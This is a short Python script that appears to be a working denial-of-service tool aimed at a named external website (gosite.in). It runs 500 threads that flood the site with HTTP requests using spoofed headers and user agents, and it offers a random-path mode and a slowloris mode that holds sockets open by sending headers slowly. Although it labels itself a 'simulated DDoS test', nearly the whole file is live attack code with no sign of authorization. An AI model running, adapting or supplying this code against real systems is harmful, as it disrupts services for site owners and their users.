import requests
import threading
import time
import random
from itertools import cycle
from fake_headers import Headers

TARGET = "http://gosite.in"
THREADS = 500
ATTACK_MODE = "normal"  # Options: normal, slowloris, random-path

request_log = []
error_log = []
response_time_log = []

USER_AGENTS = [
    "Mozilla/5.0", "Chrome/90.0", "Safari/537.36",
    "Opera/9.80", "Edge/18.19041"
]

def current_sec():
    return round(time.time())

def current_millis():
    return round(time.time() * 1000)

def log_request(duration):
    response_time_log.append(duration)
    request_log.append(current_sec())

def log_error():
    error_log.append(current_sec())

def clean_logs():
    now = current_sec()
    request_log[:] = [t for t in request_log if now - t < 1]
    error_log[:] = [t for t in error_log if now - t < 1]
    response_time_log[:] = response_time_log[-100:]  # Keep last 100 entries

def simulate_normal():
    try:
        headers = Headers(headers=True).generate()
        headers["User-Agent"] = random.choice(USER_AGENTS)
        path = "" if ATTACK_MODE != "random-path" else f"/test{random.randint(1000,9999)}.html"
        start = current_millis()
        res = requests.get(f"{TARGET}{path}", headers=headers, timeout=3)
        duration = current_millis() - start
        log_request(duration)
    except:
        log_error()

def simulate_slowloris():
    try:
        import socket
        host = TARGET.replace("http://", "").replace("/", "")
        port = 80
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(b"POST / HTTP/1.1\r\n")
        s.send(b"Host: 127.0.0.1\r\n")
        for _ in range(10):
            s.send(f"X-a: {random.randint(1, 5000)}\r\n".encode())
            time.sleep(0.5)  # Send headers slowly
        s.close()
    except:
        log_error()

def attack_worker(thread_id):
    while True:
        if ATTACK_MODE == "normal" or ATTACK_MODE == "random-path":
            simulate_normal()
        elif ATTACK_MODE == "slowloris":
            simulate_slowloris()
        clean_logs()

def print_stats():
    while True:
        time.sleep(1)
        rps = len(request_log)
        eps = len(error_log)
        avg = sum(response_time_log) / len(response_time_log) if response_time_log else 0
        print(f"[STATS] 🔁 RPS: {rps} | ❌ EPS: {eps} | ⏱️ Avg RT: {avg:.2f}ms | Mode: {ATTACK_MODE}")

# Start threads
print(f"🚀 Launching simulated DDoS test on {TARGET} with {THREADS} threads using '{ATTACK_MODE}' mode...")

for i in range(THREADS):
    threading.Thread(target=attack_worker, args=(i,), daemon=True).start()

threading.Thread(target=print_stats, daemon=True).start()

# Keep main thread alive
while True:
    time.sleep(1)
